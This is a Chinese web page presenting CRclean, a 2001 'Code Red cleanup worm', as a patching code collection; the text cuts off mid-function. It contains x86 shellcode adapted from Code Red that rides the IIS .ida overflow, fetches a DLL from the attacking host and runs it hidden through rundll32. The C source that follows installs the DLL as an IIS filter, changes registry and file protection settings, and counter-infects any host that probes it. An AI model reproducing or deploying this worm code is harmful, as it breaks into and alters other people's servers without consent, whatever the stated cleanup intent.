打微软补丁的一份代码收藏

蠕虫(yuyun)病毒清除工具 蠕虫(yuyun)病毒清除工具。可清除yuyuncantix病毒,并修复造成的破坏 立即下载
打微软补丁的一份代码收藏

;

; CRclean.asm

; by Markus Kern <markus-kern@gmx.net>

; 06.08.2001

;

; downloads CRclean.dll from sender and executes it using rundll32.exe

; then calls ExitProcess() on success or sleeps forever on failure

;



.386p

.model flat

.code

assume fs:nothing



db 'GET /default.ida?---This-is-CRclean---Code-Red-cleanup-worm-'

db '--check-your-wwwroot-for-CRclean.dll---it-contains-zipped-so'

db 'urce---this-worm-does-not-spread-actively---if-you-see-this-'

db 'the-destination-host-is-infected-with-Code-Red--------------'

db '-%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u685'

db '8%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53f'

db 'f%u0078%u0000%u00=a  HTTP/1.0',0Dh,0Ah

db 'Content-type: text/xml',0Ah

db 'Content-length: 0988',0Dh,0Ah,0Dh,0Ah



; execution starts here with slightly modified Code Red v1 code

; finds GetProcAddress and kernel32.dll base



	push  ebp

	mov  ebp, esp

	sub  esp, 218h

	push  ebx

	push  esi

	push  edi

	lea  edi, [ebp-218h]

	mov  ecx, 86h

	mov  eax, 0CCCCCCCCh

	rep  stosd

	mov  [ebp-190h], dword ptr 0

	lea  edi, [ebp-110h]

	mov  eax, dword ptr fs:0

	mov  [edi+8], eax

	mov  dword ptr fs:0, edi

	mov  dword ptr [ebp-110h], 0FFFFFFFFh

	mov  dword ptr [ebp-1A8h],77E00000h



RVA_1:

	cmp  dword ptr [ebp-190h], 0

	jnz  RVA_5

	mov  ecx, [ebp-1A8h]

	add  ecx, 10000h

	mov  [ebp-1A8h], ecx

	cmp  dword ptr [ebp-1A8h],78000000h

	jnz  short RVA_2

	mov  dword ptr [ebp-1A8h],0BFF00000h



RVA_2:

	mov  edx, [ebp-1A8h]

	xor  eax, eax

	mov  ax, [edx]

	cmp  eax, 5A4Dh

	jnz  RVA_1

	mov  ecx, [ebp-1A8h]

	mov  edx, [ecx+3Ch]

	mov  eax, [ebp-1A8h]

	xor  ecx, ecx

	mov  cx, [eax+edx]

	cmp  ecx, 4550h

	jnz  RVA_1

	mov  edx, [ebp-1A8h]

	mov  eax, [edx+3Ch]

	mov  ecx, [ebp-1A8h]

	mov  edx, [ecx+eax+78h]

	add  edx, [ebp-1A8h]

	mov  [ebp-1ACh], edx

	mov  eax, [ebp-1ACh]

	mov  ecx, [eax+0Ch]

	add  ecx, [ebp-1A8h]

	mov  [ebp-1B4h], ecx

	mov  edx, [ebp-1B4h]

	cmp  dword	ptr [edx], 4E52454Bh

	jnz  RVA_1

	mov  eax, [ebp-1B4h]

	cmp  dword	ptr [eax+4], 32334C45h

	jnz  RVA_1

	mov  ecx, [ebp-1A8h]

	mov  [ebp-1CCh], ecx

	mov  edx, [ebp-1ACh]

	mov  eax, [ebp-1A8h]

	add  eax, [edx+20h]

	mov  [ebp-1B4h], eax

	mov  dword ptr [ebp-1B8h], 0

	jmp  short RVA_4



RVA_3:

	mov  ecx, [ebp-1B8h]

	add  ecx, 1

	mov  [ebp-1B8h], ecx

	mov  edx, [ebp-1B4h]

	add  edx, 4

	mov  [ebp-1B4h], edx



RVA_4:

	mov  eax, [ebp-1ACh]

	mov  ecx, [ebp-1B8h]

	cmp  ecx, [eax+18h]

	jge  RVA_1

	mov  edx, [ebp-1B4h]

	mov  eax, [edx]

	mov  ecx, [ebp-1A8h]

	cmp  dword ptr [ecx+eax], 50746547h

	jnz  RVA_3

	mov  edx, [ebp-1B4h]

	mov  eax, [edx]

	mov  ecx, [ebp-1A8h]

	cmp  dword ptr [ecx+eax+4], 41636F72h

	jnz  RVA_3

	mov  edx, [ebp-1B8h]

	add  edx, [ebp-1B8h]

	add  edx, [ebp-1A8h]

	mov  eax, [ebp-1ACh]

	mov  ecx, [eax+24h]

	xor  eax, eax

	mov  ax, [edx+ecx]

	mov  [ebp-1B4h], eax

	mov  ecx, [ebp-1ACh]

	mov  edx, [ecx+10h]

	mov  eax, [ebp-1B4h]

	lea  ecx, [eax+edx-1]

	mov  [ebp-1B4h], ecx

	mov  edx, [ebp-1B4h]

	add  edx, [ebp-1B4h]

	add  edx, [ebp-1B4h]

	add  edx, [ebp-1B4h]

	add  edx, [ebp-1A8h]

	mov  eax, [ebp-1ACh]

	mov  ecx, [eax+1Ch]

	mov  edx, [edx+ecx]

	mov  [ebp-1B4h], edx

	mov  eax, [ebp-1B4h]

	add  eax, [ebp-1A8h]

	mov  [ebp-190h], eax

	jmp  RVA_1



RVA_5:

	lea  edi, [ebp-110h]

	mov  eax, [edi+8]

	mov  dword ptr fs:0, eax



; end of Code Red code



	call  GET_DATA_START



d1			db 'c:/CRclean.dll',0

d2			db 'http://123.123.123.123/CRclean.dll',0		; ip filled in by ISAPI filter

d3			db 'LoadLibraryA',0

d4			db 'urlmon.dll',0

d5			db 'GetFileAttributesA',0

d6			db 'URLDownloadToFileA',0

d7			db 'WinExec',0

d8			db 'rundll32 c:/CRclean.dll,Run',0

d9			db 'Sleep',0

d10			db 'ExitProcess',0



FilePath			equ 0

Url					equ d2-d1

LoadLibStr			equ d3-d1

UrlMonStr			equ d4-d1

GetFileAttrStr		equ d5-d1

URLDownloadStr		equ d6-d1

WinExecStr			equ d7-d1

RundllStr			equ d8-d1

SleepStr			equ d9-d1

ExitProcStr			equ d10-d1



GET_DATA_START:

	pop	esi						; start of our data



	; get address of GetFileAttributesA

	mov  edi, esi

	add  edi, GetFileAttrStr

	push  edi

	push  dword ptr [ebp-1CCh]				; kernel32.dll handle

	call  dword ptr [ebp-190h]				; call GetProcAddress

	or  eax, eax

	jz  SLEEP

	push  eax



	; get address of LoadLibraryA

	mov  edi, esi

	add  edi, LoadLibStr

	push  edi

	push  dword ptr [ebp-1CCh]

	call  dword	ptr [ebp-190h]				; call GetProcAddress

	or  eax, eax

	jz  SLEEP



	; load urlmon.dll

	mov  edi, esi

	add  edi, UrlMonStr

	push  edi

	call  eax								; call LoadLibraryA

	or  eax, eax

	jz  SLEEP



	; get address of URLDownloadToFileA

	mov  edi, esi

	add  edi, URLDownloadStr

	push  edi

	push  eax								; urlmon.dll handle

	call  dword ptr [ebp-190h]				; call GetProcAddress

	or  eax, eax

	jz  SLEEP

	mov  ebx, eax



DL_FILE:

	; check if file is already there

	pop  eax								; get GetFileAttributesA address

	push  eax

	mov  edi, esi

	add  edi, FilePath

	push  edi

	call  eax								; call GetFileAttributesA

	cmp  eax, 0FFFFFFFFh

	jne  SLEEP								; we've been here before, the dll is prolly preparing IIS restart

											; we sleep till we get terminated



	; call URLDownloadToFileA

	push  0

	push  0

	mov  edi, esi

	add  edi, FilePath

	push  edi

	mov  edi, esi

	add  edi, Url

	push  edi

	push  0

	call  ebx								; call URLDownloadToFileA



	; check if file made it to the disk

	pop  eax								; get GetFileAttributesA address

	push  eax

	mov  edi, esi

	add  edi, FilePath

	push  edi

	call  eax								; call GetFileAttributesA

	cmp  eax, 0FFFFFFFFh

	jne  DL_SUCCESS



	; if we just tried c: try d: now

	mov  edi, esi

	add  edi, FilePath

	cmp  byte ptr [edi], 'd'

	je  SLEEP								; neither c: nor d: did work



	; set drive letter to 'd'

	mov  byte ptr [edi], 'd'

	mov  edi, esi

	add  edi, RundllStr+9

	mov  byte ptr [edi], 'd'				; change Runddll string too

	jmp  DL_FILE





DL_SUCCESS:

	; get address of WinExec

	mov  edi, esi

	add  edi, WinExecStr

	push  edi

	push  dword ptr [ebp-1CCh]

	call  dword ptr [ebp-190h]				; call GetProcAddress

	or  eax, eax

	jz  SLEEP



	; call WinExec

	push  0									; SW_HIDE

	mov  edi, esi

	mov  edi, esi

	add  edi, RundllStr

	push  edi

	call  eax

	cmp  eax, 31

	jl  SLEEP



	; get address of ExitProcess

	mov  edi, esi

	add  edi, ExitProcStr

	push  edi

	push  dword ptr [ebp-1CCh]

	call  dword ptr [ebp-190h]				; call GetProcAddress

	or  eax, eax

	jz  SLEEP



	; call ExitProcess

	push  0

	call  eax								; terminate inetinfo.exe, on windows 2000 it will be

											; restarted but we get rid of all running Code Reds



SLEEP:

	; get address of Sleep

	mov  edi, esi

	add  edi, SleepStr

	push  edi

	push  dword ptr [ebp-1CCh]

	call  dword ptr [ebp-190h]				; call GetProcAddress

	or  eax, eax

	jz  FATAL_ERROR							; ok, we tried our best to save cpu cycles



	; call Sleep

	push  0FFFFFFFFh

	call  eax								; sleep forever



FATAL_ERROR:

	jmp  FATAL_ERROR



db		'end of file'



END



/*

*

* "The true object of all human life is play. Earth is a task garden; heaven is a playground." -- G.K. Chesterton, All Things Considered

*

* CRclean.c

* by Markus Kern <markus-kern@gmx.net>

* 06.08.2001

*

* if called by rundll32:

*		downloads and executes Q300972 patch from Microsoft

*		removes _original_ Code Red II backdoors

*		copies dll to wwwroot

*		adds dll to ISAPI filter list

*		restarts IIS

*

* if loaded into IIS:

*		removes itself from system on IIS shutdown if it's november 2001 or later

*		responds to every Code Red exploit attempt by closing the connection and infecting the attacking host

*

* the dll can be removed manually using "rundll32 CRclean.dll,Remove"

*

*/



#define INITGUID

#include <winsock.h>

#include <httpfilt.h>		// ISAPI

#include <iadmw.h>			// metabase



#define OUR_FILE_NAME "CRclean.dll"



#define EXPLOIT_URL_OFFSET 0x1B9

HANDLE hExploitMutex;

unsigned char ExploitCode[] = "<exploit code removed to save bandwidth and prevent script kiddie reuse>";



int IsWin2k = 1;

int NumberOfThreads;		// prevent clients from DoSing us



// urlmon.dll

HINSTANCE hUrlMonDll = NULL;

HRESULT (STDAPICALLTYPE *pURLDownloadToCacheFile)(LPVOID,LPCSTR,LPTSTR,DWORD,DWORD,LPVOID) = NULL;

// psapi.dll

HINSTANCE hPsApiDll = NULL;

BOOL (WINAPI *pEnumProcesses)(DWORD*,DWORD,DWORD*) = NULL;

BOOL (WINAPI *pEnumProcessModules)(HANDLE,HMODULE*,DWORD,LPDWORD) = NULL;

DWORD (WINAPI *pGetModuleFileNameEx)(HANDLE,HMODULE,LPTSTR,DWORD) = NULL;



DWORD WINAPI InfectThread(void* pData);

void RemoveFilter();

int ApplyPatch();

void RemoveCRII();

void RestartIIS();

HANDLE FindProcess(char *ProcessToFind, BOOL OnlyCompareFileName);



// dll entry point, duh

BOOL WINAPI DllEntryPoint(HINSTANCE hInstance, DWORD fdwReason, LPVOID lpvReserved)

{

	return TRUE;

}



// called by IIS on initialization

BOOL _export WINAPI GetFilterVersion(PHTTP_FILTER_VERSION pVer)

{

	pVer->dwFilterVersion = HTTP_FILTER_REVISION;

	lstrcpy(pVer->lpszFilterDesc,"CRclean ISAPI filter");

	pVer->dwFlags = SF_NOTIFY_PREPROC_HEADERS | SF_NOTIFY_ORDER_HIGH;



	NumberOfThreads = 0;



	// mutex to serialize access to exploit code and inet_ntoa() function

	hExploitMutex = CreateMutex(NULL,FALSE,NULL);



	// delete original copy of dll

	DeleteFile("c://"OUR_FILE_NAME);

	DeleteFile("d://"OUR_FILE_NAME);



	return TRUE;

}



// called by IIS on shutdown

BOOL _export WINAPI TerminateFilter(DWORD dwFlags)

{

	SYSTEMTIME st;



	// remove us from system if it's november 2001 or later

	GetSystemTime(&st);

	if(st.wYear > 2001 || st.wMonth >= 11)

		RemoveFilter();



	return TRUE;

}



// called by IIS for every http request

DWORD _export WINAPI HttpFilterProc(PHTTP_FILTER_CONTEXT pfc, DWORD notificationType, LPVOID pvNotification)

{

	char *buf;

	DWORD size,ThreadID;

	int i;



	if(notificationType == SF_NOTIFY_PREPROC_HEADERS) {

		// get url length

		size = 0;

		((PHTTP_FILTER_PREPROC_HEADERS)pvNotification)->GetHeader(pfc,"url",NULL,&size);

		// no problem if that short

		if(size > 200) {

			// alloc buffer, MSDN says this is freeed automatically by IIS

			if((buf = (char*)pfc->AllocMem(pfc,size,0)) != 0) {

				// get url

				if(((PHTTP_FILTER_PREPROC_HEADERS)pvNotification)->GetHeader(pfc,"url",buf,&size)) {

					// -200 because overflow only occurs with more than aprox 240 bytes after '?' delimiter

					for(i=0;i<(size-200)&&buf[i]!='?';i++);

					if(buf[i] == '?' && buf[i-4] == '.' &&

						(buf[i-3] == 'i' || buf[i-3] == 'I') &&

						(buf[i-2] == 'd' || buf[i-2] == 'D') &&

						(buf[i-1] == 'a' || buf[i-1] == 'A'))

					{

						// get client ip and run thread to infect client

						size = 32;

						if(pfc->GetServerVariable(pfc,"REMOTE_ADDR",buf,&size) && NumberOfThreads < 50) {

							NumberOfThreads++;

							CreateThread(0,512,InfectThread,(void*)inet_addr(buf),0,&ThreadID);

						}

						// disconnect client, sizeof(buf) is at least 200

						lstrcpy(buf,"HTTP/1.0 403 Access Forbidden/r/nServer: ");

						size = 64;

						pfc->GetServerVariable(pfc,"SERVER_SOFTWARE",buf+lstrlen(buf),&size);

						lstrcat(buf,"/r/nCRclean: rejected/r/n/r/n");

						size = lstrlen(buf);

						pfc->WriteClient(pfc,buf,&size,0);

						return SF_STATUS_REQ_FINISHED;

					}

				}

			}

		}

		pfc->AddResponseHeaders(pfc,"CRclean: passed/r/n",0);

	}

	return SF_STATUS_REQ_NEXT_NOTIFICATION;

}



// infects ip passed in pData

DWORD WINAPI InfectThread(void* pData)

{

	SOCKET Sock;

	SOCKADDR_IN Addr;

	int AddrSize;

	fd_set wfd;

	struct timeval tv;

	unsigned long nonblock;

	char *buf;



	Addr.sin_family = AF_INET;

	Addr.sin_port = htons(80);

	Addr.sin_addr.s_addr = (unsigned long)pData;

	if((Sock = socket(PF_INET,2,IPPROTO_TCP)) != INVALID_SOCKET) {

		// make socket non-blocking

		nonblock = 1;

		ioctlsocket(Sock,FIONBIO,&nonblock);

		// connect

		connect(Sock,(SOCKADDR*)&Addr,sizeof(Addr));

		if(WSAGetLastError() == WSAEWOULDBLOCK) {

			FD_ZERO(&wfd);

			FD_SET(Sock,&wfd);

			tv.tv_sec = 20;

			tv.tv_usec = 0;

			if(select(0,0,&wfd,0,&tv)) {

				// make socket blocking

				nonblock = 0;

				ioctlsocket(Sock,FIONBIO,&nonblock);

				// get local ip used for connection

				AddrSize = sizeof(Addr);

				if(getsockname(Sock,&Addr,&AddrSize) == 0) {

					WaitForSingleObject(hExploitMutex,INFINITE);

					if((buf = inet_ntoa(Addr.sin_addr)) != 0) {

						wsprintf(ExploitCode+EXPLOIT_URL_OFFSET,"http://%s/%s",buf,OUR_FILE_NAME);

						send(Sock,ExploitCode,sizeof(ExploitCode),0);

					}

					ReleaseMutex(hExploitMutex);

					Sleep(2000);

				}

			}

			closesocket(Sock);

		}

	}

	NumberOfThreads--;

	return 0;

}



// called by exploit code via rundll32.exe

// we're either in "c://"OUR_FILE_NAME or in "d://"OUR_FILE_NAME when this is called

void _export _stdcall Run(HWND hWnd, HINSTANCE hInst, LPSTR lpCmdLine, int nCmdShow)

{

	OSVERSIONINFO osvi;

	HKEY hKey;

	char *WebRootPath = NULL,*buf;

	char ModulePath[MAX_PATH];

	DWORD size;

	int i;



	// determine OS

	osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

	if(GetVersionEx(&osvi) && osvi.dwMajorVersion == 4)

		IsWin2k = 0;



	// load DLLs we need

	if((hUrlMonDll = LoadLibrary("urlmon.dll")) != 0) {

		pURLDownloadToCacheFile = (HRESULT (STDAPICALLTYPE*)(LPVOID,LPCSTR,LPTSTR,DWORD,DWORD,LPVOID))GetProcAddress(hUrlMonDll,"URLDownloadToCacheFileA");

	}

	// we don't have psapi.dll on NT thus FindProcess() won't work

	if((hPsApiDll = LoadLibrary("psapi.dll")) != 0) {

		pEnumProcesses = (BOOL (WINAPI *)(DWORD*,DWORD,DWORD*))GetProcAddress(hPsApiDll,"EnumProcesses");

		pEnumProcessModules = (BOOL (WINAPI *)(HANDLE,HMODULE*,DWORD,LPDWORD))GetProcAddress(hPsApiDll,"EnumProcessModules");

		pGetModuleFileNameEx = (DWORD (WINAPI *)(HANDLE,HMODULE,LPTSTR,DWORD))GetProcAddress(hPsApiDll,"GetModuleFileNameExA");

	}



	// patch system, in case this doesn't work our ISAPI filter will reject further Code Red exploit code (including our own)

	ApplyPatch();

	// remove backdoors created by Code Red II, won't hurt if we do this on NT too

	RemoveCRII();



	// get web root

	if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters//Virtual Roots",0,KEY_QUERY_VALUE,&hKey) == 0) {

		if(RegQueryValueEx(hKey,"/",0,NULL,NULL,&size) == 0) {

			if((WebRootPath = (char*)LocalAlloc(0,size+lstrlen(OUR_FILE_NAME)+16)) != 0) {

				if(RegQueryValueEx(hKey,"/",0,NULL,WebRootPath,&size) == 0) {

					for(i=0;i<size&&WebRootPath[i]!=',';i++);

					lstrcpy(WebRootPath+i,"//"OUR_FILE_NAME);

				}

			}

		}

		RegCloseKey(hKey);

	}

	// prepare for spreading if we've found the web root

	if(WebRootPath) {

		// copy us to webroot for distribution

		lstrcpy(ModulePath,"c://");

		lstrcat(ModulePath,OUR_FILE_NAME);

		if(!CopyFile(ModulePath,WebRootPath,TRUE)) {

			ModulePath[0] = 'e';

			if(!CopyFile(ModulePath,WebRootPath,TRUE))

				ModulePath[0] = 0;

		}

		if(ModulePath[0] != 0) {

			// add us to ISAPI filter list if copy was successful

			if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters",0,KEY_ALL_ACCESS,&hKey) == 0) {

				if(RegQueryValueEx(hKey,"Filter DLLs",0,NULL,NULL,&size) == 0) {

					if((buf = (char*)LocalAlloc(0,size+lstrlen(WebRootPath)+16)) != 0) {

						if(RegQueryValueEx(hKey,"Filter DLLs",0,NULL,buf,&size) == 0) {

							if(size <= 2) {

								lstrcpy(buf,WebRootPath);

							} else if(buf[size-2] == ',') {

								lstrcat(buf,WebRootPath);

							} else {

								lstrcat(buf,",");

								lstrcat(buf,WebRootPath);

							}

							RegSetValueEx(hKey,"Filter DLLs",0,REG_SZ,buf,lstrlen(buf)+1);

						}

						LocalFree(buf);

					}

				} else {

					// RegQueryValueEx() failed, the value probably doesn't exist, we create it

					RegSetValueEx(hKey,"Filter DLLs",0,REG_SZ,WebRootPath,lstrlen(WebRootPath)+1);

				}

				RegCloseKey(hKey);

			}

		}

		LocalFree(WebRootPath);

	}



	// restart IIS to get rid of our own and any Code Red code still running in IIS's address space

	// IIS will load our ISAPI filter on restart

	RestartIIS();

	// unload DLLs before we leave

	if(hUrlMonDll)

		FreeLibrary(hUrlMonDll);

	if(hPsApiDll)

		FreeLibrary(hPsApiDll);

	return;

}



// what can I say? it's here because it wasn't much effort

void _export _stdcall Remove(HWND hWnd, HINSTANCE hInst, LPSTR lpCmdLine, int nCmdShow)

{

	RemoveFilter();

	if(MessageBox(0,"CRclean removed on request. You must restart IIS for the changes to take effect./r/n"

					"Reinstalling the entire system is strongly recommended!/r/n"

					"Do you want to restart IIS now?","Code Red cleanup worm",MB_YESNO|MB_SYSTEMMODAL) == IDYES)

	{

		RestartIIS();

	}

	return;

}



// removes us from ISAPI filter list

void RemoveFilter()

{

	HKEY hKey;

	char *WebRootPath = NULL,*buf,*p,*s;

	DWORD size;

	int i;



	// get web root

	if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters//Virtual Roots",0,KEY_QUERY_VALUE,&hKey) == 0) {

		if(RegQueryValueEx(hKey,"/",0,NULL,NULL,&size) == 0) {

			if((WebRootPath = (char*)LocalAlloc(0,size+lstrlen(OUR_FILE_NAME)+16)) != 0) {

				if(RegQueryValueEx(hKey,"/",0,NULL,WebRootPath,&size) == 0) {

					for(i=0;i<size&&WebRootPath[i]!=',';i++);

					lstrcpy(WebRootPath+i,"//"OUR_FILE_NAME);

				}

			}

		}

		RegCloseKey(hKey);

	}

	if(WebRootPath) {

		// remove us from IIS's ISAPI filter list

		if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters",0,KEY_ALL_ACCESS,&hKey) == 0) {

			if(RegQueryValueEx(hKey,"Filter DLLs",0,NULL,NULL,&size) == 0) {

				if(size >= lstrlen(WebRootPath)) {	// can't be our string if shorter than WebRootPath

					if((buf = (char*)LocalAlloc(0,size+16)) != 0) {

						if(RegQueryValueEx(hKey,"Filter DLLs",0,NULL,buf,&size) == 0) {

							// do a case insesitive compare

							CharLower(WebRootPath);

							CharLower(buf);

							// search for WebRootPath

							for(i=0;i<=size-lstrlen(WebRootPath);i++) {

								for(p=buf+i,s=WebRootPath;*s!=0&&*p!=0&&*p==*s;s++,p++);

								if(*s == 0) {	// match

									if(lstrlen(buf) == lstrlen(WebRootPath))

										buf[0] = 0;

									else if(i == 0)

										lstrcpy(buf,p+1);	// +1 for comma after WebRootPath

									else

										lstrcpy(buf+i-1,p); // -1 for comma before WebRootPath

									break;

								}

							}

							RegSetValueEx(hKey,"Filter DLLs",0,REG_SZ,buf,lstrlen(buf)+1);

						}

						LocalFree(buf);

					}

				}

			}

			RegCloseKey(hKey);

		}

		// delete this file on next reboot

		MoveFileEx(WebRootPath,NULL,MOVEFILE_DELAY_UNTIL_REBOOT);

		LocalFree(WebRootPath);

	}

	return;

}



// downloads Q300972 from microsoft and runs it

int ApplyPatch()

{

	STARTUPINFO si;

	PROCESS_INFORMATION pi;

	HANDLE hProc;

	LANGID LangID;

	char Url[256],Path[MAX_PATH];

	int i;



	LANGID NtLangID[13] = { LANG_CHINESE,LANG_CHINESE,LANG_ARABIC,LANG_DUTCH,LANG_FRENCH,LANG_GERMAN,LANG_HEBREW,

							LANG_JAPANESE,LANG_KOREAN,LANG_PORTUGUESE,LANG_SPANISH,LANG_SWEDISH,LANG_THAI };



	char NtLangStr[13][10] = { "CN/CHS","TW/CHT","AR/ARA","NL/NLD","FR/FRA","DE/DEU","HE/HEB",

								"JA/JPN","KO/KOR","PT-BR/ptb","ES/ESP","SV/SVE","TH/THA" };



	LANGID W2kLangID[22] = { LANG_CHINESE,LANG_CHINESE,LANG_ARABIC,LANG_CZECH,LANG_DANISH,LANG_DUTCH,LANG_FINNISH,

							LANG_FRENCH,LANG_GERMAN,LANG_GREEK,LANG_HEBREW,LANG_HUNGARIAN,LANG_ITALIAN,

							LANG_JAPANESE,LANG_KOREAN,LANG_NORWEGIAN,LANG_POLISH,LANG_PORTUGUESE,LANG_RUSSIAN,

							LANG_SPANISH,LANG_SWEDISH,LANG_TURKISH };



	char W2kLangStr[22][3] = { "cn","tw","ar","cs","da","nl","fi","fr","de","el","he","hu","it","ja","ko","no",

								"pl","pt","ru","es","sv","tr" };



	// prepare download url

	LangID = GetSystemDefaultLangID();

	lstrcpy(Url,"http://download.microsoft.com/download/");

	// win 2k

	if(IsWin2k) {

		lstrcat(Url,"win2000platform/patch/q300972/nt5/");

		for(i=0;i<22&&PRIMARYLANGID(LangID)!=W2kLangID[i];i++);

		if(i == 0 && SUBLANGID(LangID) == SUBLANG_CHINESE_TRADITIONAL)

			i++;

		if(i < 22)

			wsprintf(Url+lstrlen(Url),"%s/Q300972_W2k_SP3_x86_%s.exe",W2kLangStr[i],W2kLangStr[i]);

		else	// use US as default

			lstrcat(Url,"en-us/Q300972_W2K_SP3_x86_en.exe");

	// win nt

	} else {

		lstrcat(Url,"winntsp/patch/q300972/nt4/");

		for(i=0;i<13&&PRIMARYLANGID(LangID)!=NtLangID[i];i++);

		if(i == 0 && SUBLANGID(LangID) == SUBLANG_CHINESE_TRADITIONAL)

			i++;

		if(i < 13)

			lstrcat(Url,NtLangStr[i]);

		else	// use US as default

			lstrcat(Url,"en-us/");

		lstrcat(Url,"Q300972i.exe");

	}



	// download and execute patch

	if(pURLDownloadToCacheFile) {

		if(pURLDownloadToCacheFile(NULL,Url,Path,MAX_PATH,0,NULL) == 0) {

			for(i=0;i<sizeof(si);i++)

				((unsigned char*)&si)[i] = 0;

			si.cb = sizeof(si);

			// run patch

			if(CreateProcess(Path,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,π)) {

				if(IsWin2k) {

					// wait 3 mins for hotfix to install

					Sleep(3*60*1000);

					// patch either displays message box informing about successfull install or an error message

					// user can't see this message box, we kill hotfix.exe in either case

					// the process we created above cleans up all the temp files when hotfix.exe terminates

					if((hProc = FindProcess("hotfix.exe",TRUE)) != 0) {

						TerminateProcess(hProc,0);

						CloseHandle(hProc);

						// wait till we can delete downloaded file

						WaitForSingleObject(pi.hProcess,3*60*1000);

						DeleteFile(Path);

					}

				} else {

					// on NT we just let the hotfix run, luser will click OK eventually

					// restarting IIS is enough to activate the new idq.dll, no need to reboot

				}

				CloseHandle(pi.hProcess);

				return 0;

			}

		}

	}

	return 1;

}



// removes Code Red II backdoors

void RemoveCRII()

{

	DWORD size;

	HANDLE hProc;

	HKEY hKey;

	IMSAdminBaseW *Meta;

	METADATA_HANDLE hMetaKey;

	char Path[MAX_PATH];



	// search and destroy trojan explorer.exe

	if((hProc = FindProcess("c://explorer.exe",FALSE)) != 0) {

		TerminateProcess(hProc,0);

		WaitForSingleObject(hProc,10*1000);

		CloseHandle(hProc);

	}

	if((hProc = FindProcess("d://explorer.exe",FALSE)) != 0) {

		TerminateProcess(hProc,0);

		WaitForSingleObject(hProc,10*1000);

		CloseHandle(hProc);

	}



	// delete explorer trojan, need to remove readonly attribute for DeleteFile() to work

	SetFileAttributes("c://explorer.exe",FILE_ATTRIBUTE_NORMAL);

	DeleteFile("c://explorer.exe");

	SetFileAttributes("d://explorer.exe",FILE_ATTRIBUTE_NORMAL);

	DeleteFile("d://explorer.exe");



	// remove cmd.exe backdoors

	DeleteFile("c://inetpub//scripts//root.exe");

	DeleteFile("d://inetpub//scripts//root.exe");

	DeleteFile("c://progra~1//common~1//system//msadc//root.exe");

	DeleteFile("d://progra~1//common~1//system//msadc//root.exe");



	// reenable file protection

	// we probably need to reboot to activate the change, user will do this for us on next OS crash

	if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software//Microsoft//Windows NT//CurrentVersion//Winlogon",0,KEY_SET_VALUE,&hKey) == 0) {

		size = 0;

		RegSetValueEx(hKey,"SFCDisable",0,REG_DWORD,(BYTE*)&size,sizeof(DWORD));

		RegCloseKey(hKey);

	}



	// clean up registry

	// turns out IIS copies new values under "Virtual Roots" into an internal thing called metabase

	// and restores changes of already present registry values from this metabase on restart

	// means we must delete /C and /D from the metabase

	// the /scripts and /msadc changes apparently never made it there and the corresponding registry values

	// have probably been restored by IIS after CRII's reboot

	// there're days I'm very glad I don't have to think the way Microsoft engineers do

	CoInitialize(NULL);

	if(CoCreateInstance(&CLSID_MSAdminBase,NULL,CLSCTX_ALL,&IID_IMSAdminBase,(void**)&Meta) == 0) {

		MultiByteToWideChar(CP_ACP,0,"/lm/w3svc/1/root",-1,Path,MAX_PATH/2);

		if(Meta->lpVtbl->OpenKey(Meta,METADATA_MASTER_ROOT_HANDLE,Path,METADATA_PERMISSION_WRITE,10000,&hMetaKey) == 0) {

			Meta->lpVtbl->DeleteKey(Meta,hMetaKey,"C/x00/x00");	// unicode

			Meta->lpVtbl->DeleteKey(Meta,hMetaKey,"D/x00/x00");

			Meta->lpVtbl->CloseKey(Meta,hMetaKey);

		}

		Meta->lpVtbl->Release(Meta);

	}

	CoUninitialize();



	// must do this to prevent IIS from copying it back into metabase on restart

	if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters//Virtual Roots",0,KEY_QUERY_VALUE | KEY_SET_VALUE,&hKey) == 0) {

		RegDeleteValue(hKey,"/C");

		RegDeleteValue(hKey,"/D");

		RegCloseKey(hKey);

	}

	return;

}



// restarts IIS

void RestartIIS()

{

	STARTUPINFO si;

	PROCESS_INFORMATION pi;

	SC_HANDLE hManager,hSvc;

	SERVICE_STATUS SvcStat;

	int i;



	if(IsWin2k) {

		// neither "net stop w3svc" nor ControlService(SERVICE_CONTROL_STOP) seem to work on infected machines

		for(i=0;i<sizeof(si);i++)

			((unsigned char*)&si)[i] = 0;

		si.cb = sizeof(si);

		si.wShowWindow = SW_HIDE;	// don't scare the clueless

		si.dwFlags = STARTF_USESHOWWINDOW;

		CreateProcess(NULL,"iisreset /RESTART /TIMEOUT:30",NULL,NULL,FALSE,0,NULL,NULL,&si,π);

	} else {

		// we don't have iisreset.exe on NT

		if((hManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS))) {

			if((hSvc = OpenService(hManager,"w3svc",SERVICE_STOP|SERVICE_START|SERVICE_QUERY_STATUS))) {

				// stop iis

				ControlService(hSvc,SERVICE_CONTROL_STOP,&SvcStat);

				// wait till shutdown completed

				ControlService(hSvc,SERVICE_CONTROL_INTERROGATE,&SvcStat);

				for(i=0;i<60&&SvcStat.dwCurrentState!=SERVICE_STOPPED;i++) {

					Sleep(1000);

					QueryServiceStatus(hSvc,&SvcStat);

				}

				// and restart it

				StartService(hSvc,0,NULL);

				CloseServiceHandle(hSvc);

			}

			CloseServiceHandle(hManager);

		}

	}

	return;

}



// searches process list for ProcessToFind

// caller is responsible for closing returned handle

HANDLE FindProcess(char *ProcessToFind, BOOL OnlyCompareFileName)

{

	DWORD ProcList[1024],size,msize;

	HANDLE hProc;

	HMODULE hMod;

	char Path[MAX_PATH];

	int i;



	// search for process

	if(pEnumProcesses && pEnumProcessModules && pGetModuleFileNameEx) {

		if(pEnumProcesses(ProcList,1024*sizeof(DWORD),&size))

			for(i=0;i<size/sizeof(DWORD);i++)

				if((hProc = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE,FALSE,ProcList[i])) != 0) {

